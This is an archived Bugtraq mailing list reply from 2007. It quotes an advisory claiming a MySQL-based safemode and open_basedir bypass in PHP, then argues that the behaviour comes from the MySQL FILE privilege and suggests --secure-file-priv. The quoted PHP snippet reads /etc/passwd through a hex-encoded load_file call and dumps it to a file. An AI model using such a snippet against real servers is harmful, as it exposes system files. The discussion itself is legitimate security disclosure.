Bugtraq mailing list archives
Re: PHP 5.2.4 <= various mysql functions safemode & open_basedir bypass
From: Ben Wheeler <b.wheeler () ulcc ac uk>
Date: Wed, 12 Sep 2007 13:27:01 +0100
On Tue, Sep 11, 2007 at 04:38:47AM -0000, laurent.gaffie () gmail com wrote:
Application: PHP <=5.2.4 Web Site: http://php.net Platform: unix Bug: safemode & open_basedir bypass
...
various mysql functions safemode & open_basedir bypass ( LOAD_FILE , INTO DUMPFILE , INTO OUTFILE )
...
<?php mysql_connect("localhost", "granted_user","something"); mysql_query("select load_file(0x2F6574632F706173737764)into dumpfile'/test/123.txt';"); ?>
I don't see what this has to do with PHP. If a user has been granted the FILE privilege on MySQL, they can create and read files on the server with the permissions of the mysqld user. That privilege should clearly not be granted to untrusted users, at least not without using mysqld's --secure-file-priv=/some/safe/path option. Ben
Current thread:
- PHP 5.2.4 <= various mysql functions safemode & open_basedir bypass laurent . gaffie (Sep 11)
- Re: PHP 5.2.4 <= various mysql functions safemode & open_basedir bypass Ronald Chmara (Sep 12)
- Re: PHP 5.2.4 <= various mysql functions safemode & open_basedir bypass Ben Wheeler (Sep 12)